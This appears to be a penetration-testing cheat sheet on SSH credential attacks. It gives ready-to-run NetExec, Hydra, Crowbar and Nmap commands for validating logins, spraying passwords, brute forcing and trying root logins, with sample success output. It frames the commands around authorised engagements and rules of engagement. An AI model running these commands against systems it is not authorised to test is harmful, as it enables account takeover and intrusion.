Skip to content
HackIndex logo

HackIndex

SSH Password Credential Attacks

3 min read Jan 3, 2026

Validate credentials, spray in a controlled way, and only then brute force if it’s justified and permitted.

Single credential validation

Start with one known pair. If the target rejects it, you want a clean failure you can interpret, not noise from a spray run.

┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u $USERNAME -p $PASSWORD 
SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH         127.0.0.1       22     127.0.0.1        [+] user:password

Manual validation is still useful when interactive policies matter:

┌──(kali㉿kali)-[~]
└─$ ssh -p $PORT $USERNAME@$TARGET_IP

If keyboard-interactive or MFA gates are in play, tools may report “failure” while the manual client makes it obvious what’s happening.

Password spraying

Spraying is one password across many users. Keep it slow. SSH falls over under pressure long before you hit “lockout”.

NetExec spray:

┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u users.txt -p $PASSWORD --no-bruteforce 
SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH         127.0.0.1       22     127.0.0.1        [+] user:password

Hydra spray with low concurrency:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -p $PASSWORD ssh://$TARGET_IP -t 2 -W 5 
[22][ssh] host: $TARGET_IP   login: alice   password: Winter2025!

If you see connection errors, do not “fix it” by increasing threads. Lower concurrency and add breathing room.

Controlled brute force

Only do this when you have explicit approval and you’ve already measured lockout behavior.

Hydra brute force, stop on first hit:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P passwords.txt ssh://$TARGET_IP -t 4 -f

Crowbar with a combo file:

┌──(kali㉿kali)-[~]
└─$ crowbar -b ssh -s $TARGET_IP/32 -U users.txt -C creds.txt

creds.txt is typically user:password per line.

Nmap brute script is a workable “pipeline” option when you’re already running Nmap, but it’s not as controllable as Hydra for real credential work:

┌──(kali㉿kali)-[~]
└─$ nmap -p $PORT --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt $TARGET_IP

Root login attempts

Root testing belongs here when you have a candidate password and ROE allows it. Otherwise it’s just log noise.

┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u root -p $PASSWORD 
SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH         127.0.0.1       22     127.0.0.1        [+] root:password

Manual root attempt:

┌──(kali㉿kali)-[~]
└─$ ssh -p $PORT root@$TARGET_IP

If root accepts password auth and you land it, treat it as high impact. If root is key-only while users are password, pivot to key workflows instead of hammering passwords.

References